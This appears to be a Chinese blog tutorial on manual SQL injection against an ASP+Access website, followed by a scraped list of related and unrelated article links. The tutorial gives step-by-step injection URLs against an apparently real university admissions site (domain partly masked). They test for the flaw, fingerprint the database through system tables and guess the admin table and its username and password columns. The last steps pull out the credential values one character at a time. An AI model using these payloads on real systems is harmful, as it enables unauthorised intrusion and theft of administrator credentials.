SQL注入这么长时间,看见有的朋友还是不会手工注入,那么我来演示一下。高手略过。

我们大家知道,一般注入产生在没经过虑的变量上,像ID?=XX这样的。

下面以这个网址为例:

http://zsb.xxx.edu.cn/2j.asp?id=24 and 1=1 返回了正常

http://zsb.xxx.edu.cn/2j.asp?id=24 and 1=2 返回了错误

1=1是一个真,1=2是一假,所以会返回一个正常一个错误。

SQL数据就会变成如下:

select * from 表名 where 字段='24'

或者:

http://zsb.xxx.edu.cn/2j.asp?id=24 and '1'='1'

http://zsb.xxx.edu.cn/2j.asp?id=24 and '1'='2'

注入存在了,判断数据库是ACC或MSS的,利用系统表

ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,

在WEB环境下有访问权限。对于以下两条语句:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from sysobjects)>0

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from msysobjects)>0

若数据库是SQL-SERVE,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常。

我们提交后两条后都为异常,可以判断为ACC的数据库。

图3。

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from 表名)>0

如果表名存在就会返回正常,反页错误。

刚开始我提交:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from admin)>0

返回错误,说明不存在ADMIN这个表,当后来提交这个返回正常:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from article_admin)>0

说明存在article_admin这个表。

猜列名:

and (select count(字段名) from article_admin)>0

提交:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(username) from article_admin)>0

返回了正常,接着提交:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(password) from article_admin)>0

返回了正常,说明存在username和password这两个字段名。

猜用户名和密码长度;

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 len(username) from article_admin)=5

返回正常,说明username内容长度为5

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 len(password) from article_admin)=16

正常,password内容长度为16,也就是MD5的值。

猜用户名和密码内容:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 asc(mid(username,1,1)) from article_admin)=97

返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。

猜第二位把username,1,1改成username,2,1就可以了。

猜密码把username改成password就OK了

ASP+ACCESS手工注入详解的更多相关文章

  1. 安全测试基础-SQL注入详解

    1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...

  2. ASP.NET 操作Cookie详解 增加,修改,删除

    ASP.NET 操作Cookie详解 增加,修改,删除 Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份而储存在用户本地终端上的数据(通常经过加密).定义于RFC2109.它 ...

  3. ASP.NET 运行时详解 揭开请求过程神秘面纱

    对于ASP.NET开发,排在前五的话题离不开请求生命周期.像什么Cache.身份认证.Role管理.Routing映射,微软到底在请求过程中干了哪些隐秘的事,现在是时候揭晓了.抛开乌云见晴天,接下来就 ...

  4. ASP.NET运行时详解 集成模式和经典模式

    遗留问题 在<ASP.NET运行时详解 生命周期入口分析>中遗留两个问题,包括Application的InitInternal方法执行细节.IIS6和II7经典模式请求管道管理类Appli ...

  5. ASP.NET生命周期详解

    最近一直在学习ASP.NET MVC的生命周期,发现ASP.NET MVC是建立在ASP.NET Framework基础之上的,所以原来对于ASP.NET WebForm中的很多处理流程,如管道事件等 ...

  6. ASP.NET生命周期详解 [转]

    最近一直在学习ASP.NET MVC的生命周期,发现ASP.NET MVC是建立在ASP.NET Framework基础之上的,所以原来对于ASP.NET WebForm中的很多处理流程,如管道事件等 ...

  7. ASP.NET生命周期详解(转)

    看到好文章需要分享. 最近一直在学习ASP.NET MVC的生命周期,发现ASP.NET MVC是建立在ASP.NET Framework基础之上的,所以原来对于ASP.NET WebForm中的很多 ...

  8. 如何利用IIS调试ASP.NET网站程序详解

    如何利用IIS调试ASP.NET网站程序详解 更新时间:2019年01月13日 08:44:13   作者:江湖逍遥    我要评论   这篇文章主要给大家介绍了关于如何利用IIS调试ASP.NET网 ...

  9. 手工注入——access手工注入实战和分析

    今天进行了access手工注入,下面是我的实战过程和总结. 实战环境使用的是墨者学院的在线靶场.下面咱们直接进入主题. 第一步,判断注入点 通过‘ 或者 and 1=1 和 and 1=2 是否报错, ...

随机推荐

  1. IBatis.net动态SQL语句

    在学习动态SQL语句之前,首先必须对条件查询有一定了解,先来学习如何向IBatis.Net的映射文件里传入参数. 一.条件查询 1.传递单个参数 如根据Id查询: <select id=&quo ...

  2. Html5实践之EventSource

    最近尝试了一下服务器端的推送,之前的做法都是客户端轮询,定时向服务器发送请求.但这造成了我的一些困扰: 1:轮询是由客户端发起的,那么在服务端就不能判别我要推送的内容是否已经过期,因为我很难判断某个信 ...

  3. Easyui Combotree问题及其相关

    Easyui的setValue方法无效 今天在开发项目的时候,遇到第一个很奇怪的问题:EasyUI的setValue方法无效. $('#department_parent').combotree('s ...

  4. php上传图片---初级版

    没有样式,没有淘宝的那种放大截取大小的效果,只是实现了图片上传的功能. 图片超过100k,会出现内部错误服务器错误,需要手动更改配置文件里的MaxRequestLen属性. 下面粘上代码: <? ...

  5. 年前辞职-WCF入门(6)

    前言 昨天早上去医院做入职体检,被告知要预约,本以为是要排队,我连视频都准备好了...结果就回来了.下午去了新公司那边找房子,2了,因为公司提供了班车列表,我既然就只在班车所经过的几个地方找,却遗漏了 ...

  6. [转载]NSString中判断中文,英文,数字

    曾有需求做个用户名中非法字符的判断,要求是只能输入中英文和数字,其他字符一律非法,故写了下边一个程序mark一下吧~~ NSString *testString = @"春1mianBU觉晓 ...

  7. OneZero第一次会议(非正式)

    会议时间:2016年3月20日 15:50~16:50 会议成员:冉华(http://www.cnblogs.com/ranh941/) 张敏(http://www.cnblogs.com/zhang ...

  8. ThreadLocal类的实现用法

    ThreadLocal是什么呢?其实ThreadLocal并非是一个线程的本地实现版本,它并不是一个Thread,而是threadlocalvariable(线程局部变量).也许把它命名为Thread ...

  9. ansible 常用模块

    http://www.linuxidc.com/Linux/2015-02/113068.htm

  10. log4j2 使用说明

    因近期需要编写J2EE程序,所以简单学习了Log4j2,这里把我学习的一些信息做记录: 1.从HelloWorld开始 参考:http://logging.apache.org/log4j/2.x/m ...